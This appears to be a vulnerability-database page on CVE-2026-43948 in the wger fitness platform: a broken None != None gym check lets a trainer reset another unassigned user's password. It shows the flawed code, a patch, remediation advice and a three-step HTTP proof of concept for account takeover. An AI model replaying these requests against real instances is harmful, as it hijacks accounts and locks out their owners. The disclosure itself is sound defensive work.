wger CVE-2026-43948
CRITICALSeverity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The reset_user_password and gym_permissions_user_edit views in wger perform a gym-scope authorization check using Python object comparison (!=) that evaluates None != None as False, silently bypassing the guard when both the attacker and victim have no gym assignment (gym=None). A user with gym.manage_gym permission and gym=None can reset the password of any other gym=None user; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently.
Details
File: wger/gym/views/user.py
The authorization guard in reset_user_password (and the parallel check in gym_permissions_user_edit) uses Django ORM object comparison:
# VULNERABLE - wger/gym/views/user.py
if request.user.userprofile.gym != user.userprofile.gym:
return HttpResponseForbidden()When both request.user.userprofile.gym and user.userprofile.gym are None (representing users with no gym assignment - the default for newly registered users before gym linking), Python evaluates None != None as False. The guard therefore passes without raising HttpResponseForbidden, and execution continues unconditionally to:
password = password_generator()
user.set_password(password)
user.save()
return render(request, 'user/trainer_login.html', {'password': password, ...})The generated password is rendered verbatim in the response body.
Affected endpoints:
GET /en/gym/user/<user_pk>/reset-user-password->wger.gym.views.user.reset_user_passwordGET /en/gym/user/<user_pk>/edit->wger.gym.views.user.gym_permissions_user_edit
Suggested patch:
--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
- if request.user.userprofile.gym != user.userprofile.gym:
- return HttpResponseForbidden()
+ trainer_gym_id = request.user.userprofile.gym_id
# raw FK int
+ member_gym_id = user.userprofile.gym_id
+
+ if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+ return HttpResponseForbidden()The _id suffix accesses the raw integer foreign key, bypassing Python's object identity semantics. The explicit is None guard rejects unaffiliated trainers immediately, regardless of the victim's gym status. Apply the same same_gym() helper pattern to all five views sharing this check: reset_user_password, gym_permissions_user_edit, admin_notes_list, documents_list, contracts_list.
PoC
Tested on wger/server:latest Docker image (runtime: Django 5.2.13). Two test users: trainer1 (gym.manage_gym permission, userprofile.gym=None) and alice (regular user, userprofile.gym=None).
Step 1 - Authenticate as trainer with manage_gym permission and gym=None:
POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]
-> 302 Found; Set-Cookie: sessionid=[trainer1_session]Step 2 - Trigger cross-tenant password reset:
GET /en/gym/user/2/reset-user-password HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
-> 200 OK
<tr><th>Password</th><td>[GENERATED_PLAINTEXT_PASSWORD]</td></tr>Step 3 - Authenticate as victim (alice) using leaked password:
POST /en/user/login HTTP/1.1
Host: target
username=alice&password=[GENERATED_PLAINTEXT_PASSWORD]&csrfmiddlewaretoken=[...]
-> 302 Found; authenticated as alice
(alice's ORIGINAL password is now invalid - permanent lockout)RBAC Disproof Protocol (three-scenario test):
- Scenario A (admin, same-gym) -> HTTP 200 (expected - documented feature)
- Scenario B (trainer1 gym=None -> alice gym=None) -> HTTP 200 with plaintext password in body (expected HTTP 403)
- Scenario C (trainer1 gym=1 -> alice gym=2) -> HTTP 403 (expected - guard works when gyms differ, confirms bypass is
None-specific)
Reproducibility: 2/2 runs after clean-baseline database reset.
Impact
An attacker with gym.manage_gym permission and gym=None can:
- Reset the password of any other
gym=Noneuser on the wger instance. - Receive the new plaintext password in the HTTP response body.
- Log in as the victim immediately.
- Permanently lock the victim out (original password invalidated).
Affected deployments: every wger instance where gym.manage_gym permission is delegated to non-admin users AND any other users exist with gym=None. The gym=None state is the default for newly registered users before manual gym assignment, so every public-registration wger instance is affected.
Severity: Critical (CVSS 9.9). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope change (impersonation of other tenant), complete confidentiality/integrity/availability loss for all unaffiliated accounts.
This is the same structural bug class as the sibling finding affecting trainer_login (submitted separately). The root cause - Django ORM object-!= returning False when both sides are None - appears across five views and warrants a shared same_gym() helper.
AnalysisAI
Complete account takeover in wger Python fitness management platform allows authenticated gym managers with no gym assignment (gym=None) to reset passwords of any other unaffiliated user and receive the new plaintext password in the HTTP response body. The vulnerability stems from a Django ORM authorization check that incorrectly evaluates None != None as False, bypassing the tenant isolation guard. Newly registered users default to gym=None state, making every public-registration wger deployment vulnerable. CVSS 9.9 Critical severity with scope change (cross-tenant impersonation). GitHub advisory GHSA-mhc8-p3jx-84mm confirms exploitation requires only low privilege (delegated gym.manage_gym permission) with no user interaction, enabling permanent victim lockout as original passwords are invalidated.
Technical ContextAI
wger is a Django-based open-source fitness and workout management platform distributed as a Python pip package. The vulnerability resides in wger/gym/views/user.py where two views (reset_user_password and gym_permissions_user_edit) implement multi-tenant authorization checks using Django ORM ForeignKey object comparison (request.user.userprofile.gym != user.userprofile.gym). When both attacker and victim have no gym assignment, both expressions evaluate to None, and Python's identity comparison None != None returns False, causing the HttpResponseForbidden() guard to be bypassed. Django's ORM returns None for null ForeignKey relationships rather than a distinct sentinel value, making object comparison semantically incorrect for null-safe authorization checks. The gym field represents tenant boundaries in wger's multi-gym architecture, and gym=None is the default state for newly registered users before manual gym assignment. CWE-863 (Incorrect Authorization) applies as the authorization logic fails to properly validate scope boundaries when null values are present. The vulnerable pattern appears across five views sharing the same authorization check structure, indicating a systemic design flaw in how the codebase handles tenant isolation for unaffiliated users. The password_generator() function creates a new plaintext password that is both saved to the database via user.set_password() and rendered directly into the user/trainer_login.html template response body, enabling immediate credential theft without additional steps.
RemediationAI
Upgrade to wger version 2.6 or later immediately, which corrects the authorization logic to use raw foreign key integer comparison (gym_id) with explicit None guards. Installation via pip: pip install --upgrade wger>=2.6. For Docker deployments, update to wger/server image tags corresponding to version 2.6 or later. Verify patch application by inspecting wger/gym/views/user.py to confirm the authorization check now reads: if trainer_gym_id is None or trainer_gym_id != member_gym_id: return HttpResponseForbidden(). If immediate patching is not feasible, implement the following compensating controls with their respective trade-offs: (1) Revoke gym.manage_gym permission from all users with gym=None until they are assigned to a specific gym - this breaks legitimate gym manager workflows but eliminates attacker preconditions; (2) Implement application firewall rules to block HTTP GET requests to /*/gym/user/*/reset-user-password and /*/gym/user/*/edit endpoints for users with gym=None in their session profile - requires custom session inspection and may have performance impact; (3) Enforce mandatory gym assignment during user registration/onboarding, preventing gym=None state entirely - requires process changes and may impact registration flows. All compensating controls introduce operational friction. Patching to version 2.6 is the only complete remediation. After patching, audit application logs for historical access to the vulnerable endpoints by users with gym=None to identify potential prior exploitation. Consider forcing password resets for all gym=None users created before patch deployment. Advisory and patch information: https://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-mhc8-p3jx-84mm